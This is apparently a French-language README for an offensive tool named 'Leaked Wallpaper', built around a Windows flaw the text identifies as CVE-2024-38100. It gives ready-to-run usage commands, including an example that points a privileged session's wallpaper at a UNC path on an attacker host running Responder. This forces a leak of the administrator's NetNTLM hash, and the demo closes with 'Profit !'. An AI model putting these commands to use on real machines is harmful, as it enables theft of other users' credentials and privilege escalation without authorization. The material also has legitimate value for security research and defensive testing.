Leaked Wallpaper

Il s'agit d'un outil d'élévation de privilèges (corrigé avec CVE-2024-38100 dans KB5040434) qui permet d'exfiltrer le hash NetNTLM d'un utilisateur depuis n'importe quelle session sur l'ordinateur, même en travaillant depuis un utilisateur à faibles privilèges.

Utilisation

.\LeakedWallpaper.exe <session> \\<KALI IP>\c$\1.jpg [-downgrade]

# Example
  .\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg -downgrade

Démo

Vidéo

https://youtu.be/InyrqNeaZfQ

Si la vidéo est bloquée, voir demo.mkv

Photos

Imaginez que nous ayons deux sessions sur la machine :

• administrator est un compte privilégié, son hash NetNTLM est ce que nous voulons obtenir
• exploit est un compte à faibles privilèges, nous travaillons depuis celui-ci.

ID de session actuelle : 2 ID de session cible : 1

IP du Responder : 172.16.0.5 IP Windows : 172.16.0.2

Obtenons le hash NetNTLM d'administrator grâce à l'outil !

.\LeakedWallpaper 1 \\172.16.0.5\c$\1.jpg

Profit !